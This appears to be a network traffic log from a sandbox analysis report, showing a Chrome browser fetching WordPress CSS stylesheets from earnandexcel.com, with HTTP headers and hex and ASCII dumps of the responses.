2024-04-11 21:26:35 UTC	1369	IN	Data Raw: 72 61 70 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 73 2e 69 73 2d 76 65 72 74 69 63 61 6c 7b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 73 2e 69 73 2d 76 65 72 74 69 63 61 6c 3e 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 73 2e 69 73 2d 76 65 72 74 69 63 61 6c 3e 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 3a 6c 61 73 74 2d 63 68 69 6c 64 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 73 3e 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 6d 61 72 67 69 6e 2d Data Ascii: rap}.wp-block-buttons.is-vertical{flex-direction:column}.wp-block-buttons.is-vertical>.wp-block-button{margin-right:0}.wp-block-buttons.is-vertical>.wp-block-button:last-child{margin-bottom:0}.wp-block-buttons>.wp-block-button{display:inline-block;margin-
2024-04-11 21:26:35 UTC	1369	IN	Data Raw: 6c 65 66 74 3a 2e 35 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 73 2e 61 6c 69 67 6e 72 69 67 68 74 20 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 3a 66 69 72 73 74 2d 63 68 69 6c 64 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 73 3a 6e 6f 74 28 2e 69 73 2d 63 6f 6e 74 65 6e 74 2d 6a 75 73 74 69 66 69 63 61 74 69 6f 6e 2d 73 70 61 63 65 2d 62 65 74 77 65 65 6e 2c 2e 69 73 2d 63 6f 6e 74 65 6e 74 2d 6a 75 73 74 69 66 69 63 61 74 69 6f 6e 2d 72 69 67 68 74 2c 2e 69 73 2d 63 6f 6e 74 65 6e 74 2d 6a 75 73 74 69 66 69 63 61 74 69 6f 6e 2d 6c 65 66 74 2c 2e 69 73 2d 63 6f 6e 74 65 6e 74 2d 6a 75 73 74 69 66 69 63 61 74 69 6f 6e 2d 63 65 6e 74 65 72 29 20 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 Data Ascii: left:.5em}.wp-block-buttons.alignright .wp-block-button:first-child{margin-left:0}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block-butt
2024-04-11 21:26:35 UTC	1369	IN	Data Raw: 64 3b 6f 76 65 72 66 6c 6f 77 2d 77 72 61 70 3a 62 72 65 61 6b 2d 77 6f 72 64 7d 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 35 39 39 70 78 29 7b 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 7b 66 6c 65 78 2d 62 61 73 69 73 3a 31 30 30 25 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 36 30 30 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 38 31 70 78 29 7b 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 3a 6e 6f 74 28 3a 6f 6e 6c 79 2d 63 68 69 6c 64 29 7b 66 6c 65 78 2d 62 61 73 69 73 3a 63 61 6c 63 28 35 30 25 20 2d 20 31 65 6d 29 21 69 6d 70 6f 72 74 61 6e 74 3b 66 6c 65 78 2d 67 72 6f 77 3a 30 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 3a 6e 74 68 2d 63 68 69 6c 64 28 32 6e Data Ascii: d;overflow-wrap:break-word}@media (max-width:599px){.wp-block-column{flex-basis:100%!important}}@media (min-width:600px) and (max-width:781px){.wp-block-column:not(:only-child){flex-basis:calc(50% - 1em)!important;flex-grow:0}.wp-block-column:nth-child(2n
2024-04-11 21:26:35 UTC	1369	IN	Data Raw: 6e 64 2d 61 74 74 61 63 68 6d 65 6e 74 3a 73 63 72 6f 6c 6c 7d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2d 69 6d 61 67 65 2e 69 73 2d 72 65 70 65 61 74 65 64 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2e 69 73 2d 72 65 70 65 61 74 65 64 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 61 75 74 6f 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2d 69 6d 61 67 65 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 3a 6e 6f 74 28 5b 63 6c 61 73 73 2a 3d 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 5d 29 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 3a 6e 6f 74 28 5b 63 6c 61 73 73 2a 3d 2d 62 61 63 6b Data Ascii: nd-attachment:scroll}}.wp-block-cover-image.is-repeated,.wp-block-cover.is-repeated{background-repeat:repeat;background-size:auto}.wp-block-cover-image.has-background-dim:not([class=-background-color]),.wp-block-cover.has-background-dim:not([class=-back
2024-04-11 21:26:35 UTC	1369	IN	Data Raw: 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2d 32 30 20 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 5f 5f 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2d 32 30 3a 6e 6f 74 28 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 67 72 61 64 69 65 6e 74 29 3a 62 65 66 6f 72 65 7b 6f 70 61 63 69 74 79 3a 2e 32 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2d 69 6d 61 67 65 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2d 33 30 20 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 Data Ascii: ackground-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient):before{opacity:.2}.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cove
2024-04-11 21:26:35 UTC	1369	IN	Data Raw: 74 79 3a 2e 35 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2d 69 6d 61 67 65 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2d 36 30 20 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 5f 5f 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2d 69 6d 61 67 65 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2d 36 30 3a 6e 6f 74 28 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 67 72 61 64 69 65 6e 74 29 3a 62 65 66 6f 72 65 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: ty:.5}.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background
2024-04-11 21:26:35 UTC	1369	IN	Data Raw: 28 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 67 72 61 64 69 65 6e 74 29 3a 62 65 66 6f 72 65 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2d 39 30 20 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 5f 5f 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2d 39 30 3a 6e 6f 74 28 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 67 72 61 64 69 65 6e 74 29 3a 62 65 66 6f 72 65 7b 6f 70 61 63 69 74 79 3a 2e 39 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2d 69 6d 61 67 65 2e Data Ascii: (.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient):before{opacity:.9}.wp-block-cover-image.
2024-04-11 21:26:35 UTC	1369	IN	Data Raw: 2d 73 75 62 68 65 61 64 3a 6e 6f 74 28 2e 68 61 73 2d 74 65 78 74 2d 63 6f 6c 6f 72 29 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2d 69 6d 61 67 65 20 68 31 3a 6e 6f 74 28 2e 68 61 73 2d 74 65 78 74 2d 63 6f 6c 6f 72 29 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2d 69 6d 61 67 65 20 68 32 3a 6e 6f 74 28 2e 68 61 73 2d 74 65 78 74 2d 63 6f 6c 6f 72 29 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2d 69 6d 61 67 65 20 68 33 3a 6e 6f 74 28 2e 68 61 73 2d 74 65 78 74 2d 63 6f 6c 6f 72 29 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2d 69 6d 61 67 65 20 68 34 3a 6e 6f 74 28 2e 68 61 73 2d 74 65 78 74 2d 63 6f 6c 6f 72 29 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2d 69 6d 61 67 65 20 68 35 3a 6e 6f 74 28 2e 68 61 73 2d 74 65 78 74 2d 63 6f Data Ascii: -subhead:not(.has-text-color),.wp-block-cover-image h1:not(.has-text-color),.wp-block-cover-image h2:not(.has-text-color),.wp-block-cover-image h3:not(.has-text-color),.wp-block-cover-image h4:not(.has-text-color),.wp-block-cover-image h5:not(.has-text-co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.17	49709	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:35 UTC	579	OUT	GET /wp-includes/css/dist/block-library/theme.min.css HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:35 UTC	925	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:35 GMT Content-Type: text/css; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e4848d57d1c-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"601926a8-a9a" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Tue, 02 Feb 2021 10:17:12 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Yno3Bm8mjOCzo15LooWSI2HJXOFYOQ1mmIi%2FR7zoMN%2BnLVeBxAmEydTrHujWD29jtsAqKXIAtzVzgNXocgIB5bUj0BcyHfhHAsj7CNTz7yXfJSV4umcD1%2BYOW24HAAQ2TRw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:35 UTC	444	IN	Data Raw: 61 39 61 0d 0a 23 73 74 61 72 74 2d 72 65 73 69 7a 61 62 6c 65 2d 65 64 69 74 6f 72 2d 73 65 63 74 69 6f 6e 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 75 64 69 6f 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 23 35 35 35 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 69 73 2d 64 61 72 6b 2d 74 68 65 6d 65 20 2e 77 70 2d 62 6c 6f 63 6b 2d 61 75 64 69 6f 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 36 35 29 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 64 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 4d 65 6e 6c 6f 2c 43 6f 6e 73 6f 6c 61 73 2c 6d 6f 6e 61 63 6f 2c 6d 6f 6e 6f 73 70 61 63 65 3b 63 6f 6c 6f 72 3a 23 Data Ascii: a9a#start-resizable-editor-section{display:none}.wp-block-audio figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-audio figcaption{color:hsla(0,0%,100%,.65)}.wp-block-code{font-family:Menlo,Consolas,monaco,monospace;color:#
2024-04-11 21:26:35 UTC	1369	IN	Data Raw: 2c 30 25 2c 31 30 30 25 2c 2e 36 35 29 7d 2e 62 6c 6f 63 6b 73 2d 67 61 6c 6c 65 72 79 2d 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 23 35 35 35 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 69 73 2d 64 61 72 6b 2d 74 68 65 6d 65 20 2e 62 6c 6f 63 6b 73 2d 67 61 6c 6c 65 72 79 2d 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 36 35 29 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 69 6d 61 67 65 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 23 35 35 35 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 69 73 2d 64 61 72 6b 2d 74 68 65 6d 65 20 2e 77 70 2d 62 6c 6f 63 6b 2d 69 6d 61 67 65 20 66 69 67 63 61 70 Data Ascii: ,0%,100%,.65)}.blocks-gallery-caption{color:#555;font-size:13px;text-align:center}.is-dark-theme .blocks-gallery-caption{color:hsla(0,0%,100%,.65)}.wp-block-image figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-image figcap
2024-04-11 21:26:35 UTC	908	IN	Data Raw: 6f 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 61 75 74 6f 3b 6f 70 61 63 69 74 79 3a 2e 34 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 73 65 70 61 72 61 74 6f 72 3a 6e 6f 74 28 2e 69 73 2d 73 74 79 6c 65 2d 77 69 64 65 29 3a 6e 6f 74 28 2e 69 73 2d 73 74 79 6c 65 2d 64 6f 74 73 29 7b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 70 78 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 73 65 70 61 72 61 74 6f 72 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 74 28 2e 69 73 2d 73 74 79 6c 65 2d 64 6f 74 73 29 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 6e 6f 6e 65 3b 68 65 69 67 68 74 3a 31 70 78 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 73 65 70 61 72 61 74 6f 72 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 74 28 2e 69 73 2d 73 74 79 6c 65 2d 77 69 64 65 29 3a 6e 6f 74 28 2e 69 73 2d Data Ascii: o;margin-right:auto;opacity:.4}.wp-block-separator:not(.is-style-wide):not(.is-style-dots){max-width:100px}.wp-block-separator.has-background:not(.is-style-dots){border-bottom:none;height:1px}.wp-block-separator.has-background:not(.is-style-wide):not(.is-
2024-04-11 21:26:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.17	49707	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:35 UTC	605	OUT	GET /wp-content/plugins/thrive-ultimatum/tcb-bridge/assets/css/placeholders.css HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:35 UTC	925	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:35 GMT Content-Type: text/css; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e486ed543a3-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"6571c6d4-2a2" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Thu, 07 Dec 2023 13:21:24 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ECAYrvQmw1MQES28p1mtnG8zZ8JRCCDUVbtA3zMBXR%2F70Pj5hFuEJtqOhz7I7qm%2FE5u1KegIYw9yoSrSZL0uIZG5njcH6%2B5nxVEfWftXewb6gjhSouDcW42cAWQUG2UvVRU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:35 UTC	444	IN	Data Raw: 32 61 32 0d 0a 2e 74 76 65 2d 75 6c 74 2d 70 72 65 6c 6f 61 64 2d 66 6f 72 6d 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 74 75 2d 70 6c 61 63 65 68 6f 6c 64 65 72 2d 68 65 69 67 68 74 2d 64 29 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 72 67 62 61 28 31 35 33 2c 31 36 32 2c 31 36 35 2c 2e 31 29 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 40 6b 65 79 66 72 61 6d 65 73 20 73 68 69 6d 6d 65 72 7b 31 30 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 31 30 30 25 29 7d 7d 2e 74 76 65 2d 75 6c 74 2d 70 72 65 6c 6f 61 64 2d 66 6f 72 6d 3a 3a 61 66 74 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b 72 Data Ascii: 2a2.tve-ult-preload-form{min-height:var(--tu-placeholder-height-d);position:relative;display:block;background:rgba(153,162,165,.1);overflow:hidden}@keyframes shimmer{100%{transform:translateX(100%)}}.tve-ult-preload-form::after{position:absolute;top:0;r
2024-04-11 21:26:35 UTC	237	IN	Data Raw: 35 2c 20 32 35 35 2c 20 30 29 29 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 68 69 6d 6d 65 72 20 32 73 20 69 6e 66 69 6e 69 74 65 3b 63 6f 6e 74 65 6e 74 3a 22 22 7d 40 6d 65 64 69 61 28 6d 61 78 2d 77 69 64 74 68 3a 20 31 30 32 33 70 78 29 7b 2e 74 76 65 2d 75 6c 74 2d 70 72 65 6c 6f 61 64 2d 66 6f 72 6d 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 74 75 2d 70 6c 61 63 65 68 6f 6c 64 65 72 2d 68 65 69 67 68 74 2d 74 29 7d 7d 40 6d 65 64 69 61 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 37 70 78 29 7b 2e 74 76 65 2d 75 6c 74 2d 70 72 65 6c 6f 61 64 2d 66 6f 72 6d 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 74 75 2d 70 6c 61 63 65 68 6f 6c 64 65 72 2d 68 65 69 67 68 74 2d 6d 29 7d 7d 0a 0d 0a Data Ascii: 5, 255, 0));animation:shimmer 2s infinite;content:""}@media(max-width: 1023px){.tve-ult-preload-form{min-height:var(--tu-placeholder-height-t)}}@media(max-width: 767px){.tve-ult-preload-form{min-height:var(--tu-placeholder-height-m)}}
2024-04-11 21:26:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.17	49706	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:35 UTC	585	OUT	GET /wp-content/plugins/tutor/assets/css/tutor-icon.min.css HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:35 UTC	936	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:35 GMT Content-Type: text/css; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e487f107c8d-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"64b0fad6-38ff" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 14 Jul 2023 07:35:50 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FWLFL%2F9aPDAlKaMqScRIkTXjwyhfGFDhhHgLe%2BIIRqozswG8iuZtKcdzsiG2xmGFbmzOID5xQ%2FVzooiZrefBb%2BX6dJctjO8ExlHRAX3H6VxsrUCc9%2F4gJpq%2BdD41v%2FkYZ30%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:35 UTC	433	IN	Data Raw: 33 38 66 66 0d 0a 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 75 74 6f 72 22 3b 73 72 63 3a 75 72 6c 28 22 2e 2e 2f 66 6f 6e 74 73 2f 74 75 74 6f 72 2e 77 6f 66 66 22 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 22 29 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 75 74 6f 72 22 3b 73 72 63 3a 75 72 6c 28 22 2e 2e 2f 66 6f 6e 74 73 2f 74 75 74 6f 72 2d 76 32 2e 77 6f 66 66 22 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 22 29 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c Data Ascii: 38ff@font-face{font-family:"tutor";src:url("../fonts/tutor.woff") format("woff");font-weight:normal;font-style:normal;font-display:block}@font-face{font-family:"tutor";src:url("../fonts/tutor-v2.woff") format("woff");font-weight:normal;font-style:normal
2024-04-11 21:26:35 UTC	1369	IN	Data Raw: 6d 3a 6e 6f 6e 65 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 3b 2d 6d 6f 7a 2d 6f 73 78 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 67 72 61 79 73 63 61 6c 65 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 70 72 69 76 61 63 79 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ef a4 80 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 6c 61 70 74 6f 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ef a4 81 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 64 65 73 6b 74 6f 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ef a4 82 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 74 61 62 6c 65 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ef a4 83 22 7d 2e 74 75 Data Ascii: m:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.tutor-icon-privacy:before{content:""}.tutor-icon-laptop:before{content:""}.tutor-icon-desktop:before{content:""}.tutor-icon-tablet:before{content:""}.tu
